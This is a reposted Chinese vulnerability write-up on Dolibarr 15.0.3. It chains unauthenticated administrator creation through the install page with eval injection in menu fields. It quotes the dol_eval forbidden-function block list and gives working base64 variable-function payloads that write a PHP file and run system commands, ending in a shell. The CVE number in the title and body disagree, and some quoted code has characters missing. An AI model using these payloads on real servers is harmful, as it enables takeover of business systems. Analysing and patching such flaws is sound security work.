標題:CVE-2022-40871 Dolibarr任意添加管理員與RCE漏洞分析

taibeihacker

Moderator

0x01 漏洞简介​

Dolibarr ERP CRM=15.0.3 is vulnerable to Eval injection. By default, any administrator can be added to the installation page of dolibarr, and if successfully added, malicious code can be inserted into the database and then execute it by eval.
CVE編號:CVE-2022-2633
漏洞描述:Dolibarr edit.php 存在遠程命令執行漏洞,攻擊者通過邏輯漏洞創建管理員後可以通過後台漏洞獲取服務器權限
影響版本:=15.0.3

0x02 漏洞分析​

1.环境搭建​

源碼下載地址:https://github.com/Dolibarr/dolibarr/archive/refs/tags/15.0.3.zip
解壓到web目錄下直接訪問~/htdocs/即可
image-20221112215135292

然後配置一下conf/conf.php即可進行安裝

2.任意管理员用户注册​

這其實算是個邏輯漏洞,在install系統以後,他不會進行鎖定,而是需要用戶在documents目錄中手動添加,所以我們隨時可以進入這裡去添加管理員賬號:~/install/step4.php
比如這裡我添加一個aaa用戶
image-20221112224440198

可以成功進入後台的
image-20221112224514801

3.后台RCE​

後台RCE的最後點在htdocs/core/lib/functions.lib.php的dol_eval()函數
但是這裡是有waf的,把大多數的危險函數都給ban了
//We block use of php exec or php file functions
$forbiddenphpstrings=array('$$');
$forbiddenphpstrings=array_merge($forbiddenphpstrings, array('_ENV', '_SESSION', '_COOKIE', '_GET', '_POST', '_REQUEST'));
$forbiddenphpfunctions=array('exec', 'passthru', 'shell_exec', 'system', 'proc_open', 'popen', 'eval', 'dol_eval', 'executeCLI');
$forbiddenphpfunctions=array_merge($forbiddenphpfunctions, array('fopen', 'file_put_contents', 'fputs', 'fputscsv', 'fwrite', 'fpassthru', 'require', 'include', 'mkdir', 'rmdir', 'symlink', 'touch', 'unlink', 'umask'));
$forbiddenphpfunctions=array_merge($forbiddenphpfunctions, array('function', 'call_user_func'));
$forbiddenphpregex='global\s+\$|\b('.implode('|', $forbiddenphpfunctions).')\b';
do {
$oldstringtoclean=$s;
$s=str_ireplace($forbiddenphpstrings, '__forbiddenstring__', $s);
$s=preg_replace('/'.$forbiddenphpregex.'/i', '__forbiddenstring__', $s);
//$s=preg_replace('/\$[a-zA-Z0-9_\-\$]+\(/i', '', $s); //Remove $function( call and $mycall-mymethod(
} while ($oldstringtoclean !=$s);
if (strpos($s, '__forbiddenstring__') !==false) {
dol_syslog('Bad string syntax to evaluate: '.$s, LOG_WARNING);
if ($returnvalue) {
return 'Bad string syntax to evaluate: '.$s;
} else {
dol_syslog('Bad string syntax to evaluate: '.$s);
return '';
}
}
//print $s.'br\n';
if ($returnvalue) {
if ($hideerrors) {
return @eval('return '.$s.';');
} else {
return eval('return '.$s.';');
}
} else {
if ($hideerrors) {
@eval($s);
} else {
eval($s);
}
}
這裡再去找找dol_eval()的調用,上面的verifCond()就調用了
而這裡進行了一個拼接,這個外面後面再談
function verifCond($strToEvaluate)
{
global $user, $conf, $langs;
global $leftmenu;
global $rights; //To export to dol_eval function
//print $strToEvaluate.'br\n';
$rights=true;
if (isset($strToEvaluate) $strToEvaluate !=='') {
$str='if(!('.$strToEvaluate.')) $rights=false;';
dol_eval($str, 0, 1, '2');
}
return $rights;
}
再轉而尋找verifCond函數的全局的參數可控的調用,在menubase.class.php的menuLoad()函數中就存在一個點
image-20221112232201159

可以看到這裡verifCond代碼雖然是可控的,但是是從數據庫中查詢的結果中獲取的
關注perms和enable,這兩個都是可以直接進入verifCond的
$resql=$this-db-query($sql);
if ($resql) {
$numa=$this-db-num_rows($resql);
$a=0;
$b=0;
while ($a $numa) {
//$objm=$this-db-fetch_object($resql);
$menu=$this-db-fetch_array($resql);
//Define $right
$perms=true;
if (isset($menu['perms'])) {
$tmpcond=$menu['perms'];
if ($leftmenu=='all') {
$tmpcond=preg_replace('/\$leftmenu\s*==\s*['\'a-zA-Z_]+/', '1==1', $tmpcond); //Force part of condition to true
}
$perms=verifCond($tmpcond);
//print 'verifCond rowid='.$menu['rowid'].' '.$tmpcond.':'.$perms.'br\n';
}
//Define $enabled
$enabled=true;
if (isset($menu['enabled'])) {
$tmpcond=$menu['enabled'];
if ($leftmenu=='all') {
$tmpcond=preg_replace('/\$leftmenu\s*==\s*['\'a-zA-Z_]+/', '1==1', $tmpcond); //Force part of condition to true
}
$enabled=verifCond($tmpcond);
}
我們去前面看看這裡執行的sql語句,他是從'.MAIN_DB_PREFIX.'menu表中查詢的數據,但是有WHERE條件語句
m.entity IN (0,'.$conf-entity.')
m.menu_handler IN (''.$this-db-escape($menu_handler).'','all')
所以我們如果能找到一個INSERT進'.MAIN_DB_PREFIX.'menu中、可以控制perms和enable字段並且entity和menu_handler能滿足WHERE條件的語句即可,這裡註意entity來源於$conf-entity
$sql='SELECT m.rowid, m.type, m.module, m.fk_menu, m.fk_mainmenu, m.fk_leftmenu, m.url, m.titre, m.prefix, m.langs, m.perms, m.enabled, m.target, m.mainmenu, m.leftmenu, m.position';
$sql .=' FROM '.MAIN_DB_PREFIX.'menu as m';
$sql .=' WHERE m.entity IN (0,'.$conf-entity.')';
$sql .=' AND m.menu_handler IN (''.$this-db-escape($menu_handler).'','all')';
if ($type_user==0) {
$sql .=' AND m.usertype IN (0,2)';
}
if ($type_user==1) {
$sql .=' AND m.usertype IN (1,2)';
}
$sql .=' ORDER BY m.position, m.rowid';
這裡直接正則搜索一下,的確存在這麼個點,在同一個文件的create()函數
image-20221113000249851

接下來得看看參數是否可控,這裡的VALUES設定為成員屬性,但是entity是$conf-entity,這裡就直接滿足了條件,因為上面SQL查詢也是這個
image-20221113001946769

接下來發現menu_handler在執行menuLoad函數的時候都會自動填入的
image-20221113002330295

所以這兩個WHERE條件都解決了,剩下就是看perms和enable是否可控了,在類內部沒看到有對成員變量賦值的地方,所以還得全局搜索一下
發現perms和enable在menus/edit.php中都是可以直接控制的
image-20221113002856865

經過調試發現,這裡menuId需要唯一否則會衝突無法寫入數據庫,這裡的type需要設置為1,否則也會報錯
1049983-20221114122937786-1858356172.png

接下來就可以研究一下,如何去繞過waf執行eval,這裡作者的做法是利用php的特性:變量函數
//file_put_contents
$a=base64_decode('ZmlsZV9wdXRfY29udGVudHM=');
//shellcode
$a('.1234.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+Cg=='));
再往前看verifCond函數
這裡進行了一個字符串的拼接,由於是執行eval的,所以我們可以去閉合他的括號,註釋掉後面的代碼
function verifCond($strToEvaluate)
{
global $user, $conf, $langs;
global $leftmenu;
global $rights; //To export to dol_eval function
//print $strToEvaluate.'br\n';
$rights=true;
if (isset($strToEvaluate) $strToEvaluate !=='') {
$str='if(!('.$strToEvaluate.')) $rights=false;';
dol_eval($str, 0, 1, '2');
}
return $rights;
}
也就是這樣的一個payload(無害化的payload
1==1));$d=base64_decode('ZWNobyAnPCEtLScmJmVjaG8gcHduZWQhISEmJmlkJiZlY2hvJy0tPic=');$a=base64_decode('c3lzdGVt');$a($d);//
然後放在enable參數存入數據庫,最後發包如下
image-20221113004416906

成功存入數據庫
image-20221113004508666

debug一下,進入verifCond
image-20221113004645570

跟進verifCond,惡意構造拼接繞過,進入dol_eval
image-20221113004826342

代碼執行成功
image-20221113004918701

成功getshell
image-20221113005123697

漏洞調用棧
image-20221113004952924

0x03 漏洞总结​

這裡這個RCE漏洞,其實原理類似於二次注入,先把惡意代碼存入數據庫,再從數據庫提取數據時觸發惡意代碼,這裡還繞過了一個waf,利用的是php的特性——變量函數

漏洞修复​

這裡作者對於漏洞的修復一個是verifCond函數的加固
這裡取消了字符串的拼接且讓dol_eval的第四個參數為'1'
image-20221113010538177

這樣就會走入下面的這個判斷,看註釋這裡的正則就是為了防止RCE而設計的
image-20221113011151428

一個是dol_eval函數的加強,這裡forbiddenphpfunctions裡添加了verifCond函數,直接禁止了verifCond的執行,但是不太懂這有啥意義hhh
image-20221113010132703

作者:Huamang
轉自原文連接:https://blog.huamang.xyz/post/cve-2022-40871/
 
返回
上方